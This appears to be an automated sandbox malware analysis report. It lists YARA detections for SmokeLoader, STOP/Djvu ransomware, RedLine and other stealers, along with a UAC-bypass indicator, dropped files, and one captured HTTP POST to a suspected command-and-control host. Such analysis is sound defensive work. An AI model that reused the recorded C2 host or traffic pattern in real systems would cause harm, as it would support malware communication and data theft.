1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a

Source: FC9E.exe, 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, FC9E.exe, 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp

String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://qphmishax.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 157Host: linislominyt11.at

Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.5:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.5:49738 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 43.3.wtiivdw.ad0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.D510.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.D510.exe.8a0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 43.2.wtiivdw.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.3.D510.exe.8b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 43.2.wtiivdw.970e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.431544123.00000000009E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.388828399.00000000009D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.543359383.00000000008B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.756514183.00000000025B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.375518696.0000000002951000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.543480502.00000000009B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.388881191.00000000009F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000003.634917152.0000000000AD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.694638414.0000000000AD0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.527933662.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.431633952.0000000000A11000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Source: ADFF.exe, 00000018.00000002.535747599.000000000067A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Spam, unwanted Advertisements and Ransom Demands

Yara detected Djvu Ransomware

Source: Yara match	File source: 14.2.6D2B.exe.2f415a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.6D2B.exe.2f415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6D2B.exe PID: 6660, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 31.2.FC9E.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 39.0.svchost.exe.2e4a1010000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Chebka Author: ditekSHen
Source: 39.0.svchost.exe.2e4a1010000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Generic_a681f24a Author: unknown
Source: 39.2.svchost.exe.2e4a1110000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Chebka Author: ditekSHen
Source: 39.2.svchost.exe.2e4a1110000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Generic_a681f24a Author: unknown
Source: 37.2.FC9E.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 30.2.rundll32.exe.bb0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Fabookie / ElysiumStealer Author: ditekSHen
Source: 30.2.rundll32.exe.bb0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Chebka Author: ditekSHen
Source: 30.2.rundll32.exe.bb0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Generic_a681f24a Author: unknown
Source: 39.2.svchost.exe.2e4a1110000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Chebka Author: ditekSHen
Source: 39.2.svchost.exe.2e4a1110000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Generic_a681f24a Author: unknown
Source: 39.2.svchost.exe.2e4a1010000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Chebka Author: ditekSHen
Source: 39.2.svchost.exe.2e4a1010000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Generic_a681f24a Author: unknown
Source: 39.2.svchost.exe.2e4a1010000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Chebka Author: ditekSHen
Source: 39.2.svchost.exe.2e4a1010000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Generic_a681f24a Author: unknown
Source: 39.0.svchost.exe.2e4a1010000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Chebka Author: ditekSHen
Source: 39.0.svchost.exe.2e4a1010000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Generic_a681f24a Author: unknown
Source: 14.2.6D2B.exe.2f415a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 14.2.6D2B.exe.2f415a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 14.2.6D2B.exe.2f415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 14.2.6D2B.exe.2f415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000001A.00000002.543248453.00000000008A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000001A.00000002.544007167.00000000009E8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000B.00000002.431811322.0000000000A78000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000B.00000002.431544123.00000000009E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.388828399.00000000009D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000027.00000003.773482472.000002E4A10A0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Generic_a681f24a Author: unknown
Source: 0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000002B.00000002.692013103.0000000000970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000001A.00000002.543359383.00000000008B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000002B.00000002.756514183.00000000025B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000002.00000000.375518696.0000000002951000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000001A.00000002.543480502.00000000009B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000002B.00000002.708312204.0000000000AF8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.388881191.00000000009F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.388959741.0000000000A38000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000E.00000002.651052165.0000000002EAB000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.388745923.0000000000930000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000002B.00000002.694638414.0000000000AD0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000B.00000002.431633952.0000000000A11000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000B.00000002.431428387.00000000008E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000001E.00000002.691846533.0000000000BF4000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Generic_a681f24a Author: unknown
Source: 0000001E.00000002.673368366.0000000000B20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Fabookie / ElysiumStealer Author: ditekSHen
Source: 0000001E.00000002.673368366.0000000000B20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Generic_a681f24a Author: unknown
Source: 00000027.00000003.586330360.000002E4A0FA0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Generic_a681f24a Author: unknown
Source: 00000027.00000002.825615198.000002E4A1110000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Chebka Author: ditekSHen
Source: 00000027.00000002.825615198.000002E4A1110000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Generic_a681f24a Author: unknown
Source: 00000027.00000000.591398205.000002E4A1010000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Chebka Author: ditekSHen
Source: 00000027.00000000.591398205.000002E4A1010000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Generic_a681f24a Author: unknown
Source: 00000027.00000002.825281012.000002E4A1010000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Chebka Author: ditekSHen
Source: 00000027.00000002.825281012.000002E4A1010000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Generic_a681f24a Author: unknown
Source: Process Memory Space: 6D2B.exe PID: 6660, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown

Yara detected ManusCrypt

Source: Yara match	File source: 39.0.svchost.exe.2e4a1010000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.svchost.exe.2e4a1110000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.rundll32.exe.bb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.svchost.exe.2e4a1110000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.svchost.exe.2e4a1010000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.svchost.exe.2e4a1010000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.svchost.exe.2e4a1010000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000027.00000003.773482472.000002E4A10A0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.691846533.0000000000BF4000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.673368366.0000000000B20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000003.586330360.000002E4A0FA0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.825615198.000002E4A1110000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.591398205.000002E4A1010000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.825281012.000002E4A1010000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 6120, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 1020, type: MEMORYSTR

Detected VMProtect packer

Source: A8D9.exe.2.dr

Static PE information: .vmp0 and .vmp1 section names

Source: C:\Users\user\AppData\Local\Temp\5449.exe

Process created: C:\Windows\SysWOW64\WerFault.exe WerFault.exe //////

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041A400	0_2_0041A400
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00412CC0	0_2_00412CC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041B1E0	0_2_0041B1E0
Source: C:\Users\user\AppData\Roaming\viiivdw	Code function: 11_2_0041A400	11_2_0041A400
Source: C:\Users\user\AppData\Roaming\viiivdw	Code function: 11_2_00412CC0	11_2_00412CC0
Source: C:\Users\user\AppData\Roaming\viiivdw	Code function: 11_2_0041B1E0	11_2_0041B1E0
Source: C:\Users\user\AppData\Local\Temp\6D2B.exe	Code function: 14_2_02F4CA10	14_2_02F4CA10
Source: C:\Users\user\AppData\Local\Temp\6D2B.exe	Code function: 14_2_02F4DBE0	14_2_02F4DBE0
Source: C:\Users\user\AppData\Local\Temp\6D2B.exe	Code function: 14_2_02F50B00	14_2_02F50B00
Source: C:\Users\user\AppData\Local\Temp\6D2B.exe	Code function: 14_2_02F430EE	14_2_02F430EE
Source: C:\Users\user\AppData\Local\Temp\6D2B.exe	Code function: 14_2_02F500D0	14_2_02F500D0
Source: C:\Users\user\AppData\Local\Temp\6D2B.exe	Code function: 14_2_02F618D0	14_2_02F618D0
Source: C:\Users\user\AppData\Local\Temp\6D2B.exe	Code function: 14_2_02F4B0B0	14_2_02F4B0B0
Source: C:\Users\user\AppData\Local\Temp\6D2B.exe	Code function: 14_2_02F4B000	14_2_02F4B000
Source: C:\Users\user\AppData\Local\Temp\6D2B.exe	Code function: 14_2_02F6F9B0	14_2_02F6F9B0
Source: C:\Users\user\AppData\Local\Temp\6D2B.exe	Code function: 14_2_02F6E9A3	14_2_02F6E9A3
Source: C:\Users\user\AppData\Local\Temp\6D2B.exe	Code function: 14_2_02F4E6E0	14_2_02F4E6E0
Source: C:\Users\user\AppData\Local\Temp\6D2B.exe	Code function: 14_2_02F4C760	14_2_02F4C760

Source: file.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: file.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: file.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: file.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 5449.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: BFB7.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: BFB7.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: BFB7.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: BFB7.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: D4C7.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: D4C7.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: D4C7.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: D4C7.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 42BA.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 42BA.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 42BA.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 42BA.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 6382.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 6382.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 6382.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 6D2B.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: ADFF.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: ADFF.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: ADFF.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: D510.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: D510.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: D510.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: D510.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: wtiivdw.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: wtiivdw.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: wtiivdw.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: wtiivdw.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: viiivdw.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: viiivdw.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: viiivdw.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: viiivdw.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: Trarre.exe.pif.44.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: Trarre.exe.pif.44.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: Trarre.exe.pif.44.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: Trarre.exe.pif.44.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: Trarre.exe.pif.44.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: Trarre.exe.pif.44.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll			Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll			Jump to behavior

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\5449.exe 46FDBA120585ACD40B18286AE2799AEE9C88828EEB472A39B5E14DEE4C5831D7
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\6382.exe CA5795709AF3BC2E03EC02C7307D5C85A844C421E36AFE30EB0F571E79342E87

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 31.2.FC9E.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 39.0.svchost.exe.2e4a1010000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 39.0.svchost.exe.2e4a1010000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Chebka author = ditekSHen, description = Detects Chebka
Source: 39.0.svchost.exe.2e4a1010000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Generic_a681f24a reference_sample = a796f316b1ed7fa809d9ad5e9b25bd780db76001345ea83f5035a33618f927fa, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Generic, fingerprint = 6323ed5b60e728297de19c878cd96b429bfd6d82157b4cf3475f3a3123921ae0, id = a681f24a-7054-4525-bcf8-3ee64a1d8413, last_modified = 2021-08-23
Source: 39.2.svchost.exe.2e4a1110000.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 39.2.svchost.exe.2e4a1110000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Chebka author = ditekSHen, description = Detects Chebka
Source: 39.2.svchost.exe.2e4a1110000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Generic_a681f24a reference_sample = a796f316b1ed7fa809d9ad5e9b25bd780db76001345ea83f5035a33618f927fa, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Generic, fingerprint = 6323ed5b60e728297de19c878cd96b429bfd6d82157b4cf3475f3a3123921ae0, id = a681f24a-7054-4525-bcf8-3ee64a1d8413, last_modified = 2021-08-23
Source: 37.2.FC9E.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 30.2.rundll32.exe.bb0000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 30.2.rundll32.exe.bb0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Fabookie author = ditekSHen, description = Detects Fabookie / ElysiumStealer
Source: 30.2.rundll32.exe.bb0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Chebka author = ditekSHen, description = Detects Chebka
Source: 30.2.rundll32.exe.bb0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Generic_a681f24a reference_sample = a796f316b1ed7fa809d9ad5e9b25bd780db76001345ea83f5035a33618f927fa, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Generic, fingerprint = 6323ed5b60e728297de19c878cd96b429bfd6d82157b4cf3475f3a3123921ae0, id = a681f24a-7054-4525-bcf8-3ee64a1d8413, last_modified = 2021-08-23
Source: 39.2.svchost.exe.2e4a1110000.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 39.2.svchost.exe.2e4a1110000.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Chebka author = ditekSHen, description = Detects Chebka
Source: 39.2.svchost.exe.2e4a1110000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Generic_a681f24a reference_sample = a796f316b1ed7fa809d9ad5e9b25bd780db76001345ea83f5035a33618f927fa, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Generic, fingerprint = 6323ed5b60e728297de19c878cd96b429bfd6d82157b4cf3475f3a3123921ae0, id = a681f24a-7054-4525-bcf8-3ee64a1d8413, last_modified = 2021-08-23
Source: 39.2.svchost.exe.2e4a1010000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 39.2.svchost.exe.2e4a1010000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Chebka author = ditekSHen, description = Detects Chebka
Source: 39.2.svchost.exe.2e4a1010000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Generic_a681f24a reference_sample = a796f316b1ed7fa809d9ad5e9b25bd780db76001345ea83f5035a33618f927fa, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Generic, fingerprint = 6323ed5b60e728297de19c878cd96b429bfd6d82157b4cf3475f3a3123921ae0, id = a681f24a-7054-4525-bcf8-3ee64a1d8413, last_modified = 2021-08-23
Source: 39.2.svchost.exe.2e4a1010000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 39.2.svchost.exe.2e4a1010000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Chebka author = ditekSHen, description = Detects Chebka
Source: 39.2.svchost.exe.2e4a1010000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Generic_a681f24a reference_sample = a796f316b1ed7fa809d9ad5e9b25bd780db76001345ea83f5035a33618f927fa, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Generic, fingerprint = 6323ed5b60e728297de19c878cd96b429bfd6d82157b4cf3475f3a3123921ae0, id = a681f24a-7054-4525-bcf8-3ee64a1d8413, last_modified = 2021-08-23
Source: 39.0.svchost.exe.2e4a1010000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 39.0.svchost.exe.2e4a1010000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Chebka author = ditekSHen, description = Detects Chebka
Source: 39.0.svchost.exe.2e4a1010000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Generic_a681f24a reference_sample = a796f316b1ed7fa809d9ad5e9b25bd780db76001345ea83f5035a33618f927fa, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Generic, fingerprint = 6323ed5b60e728297de19c878cd96b429bfd6d82157b4cf3475f3a3123921ae0, id = a681f24a-7054-4525-bcf8-3ee64a1d8413, last_modified = 2021-08-23
Source: 14.2.6D2B.exe.2f415a0.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 14.2.6D2B.exe.2f415a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
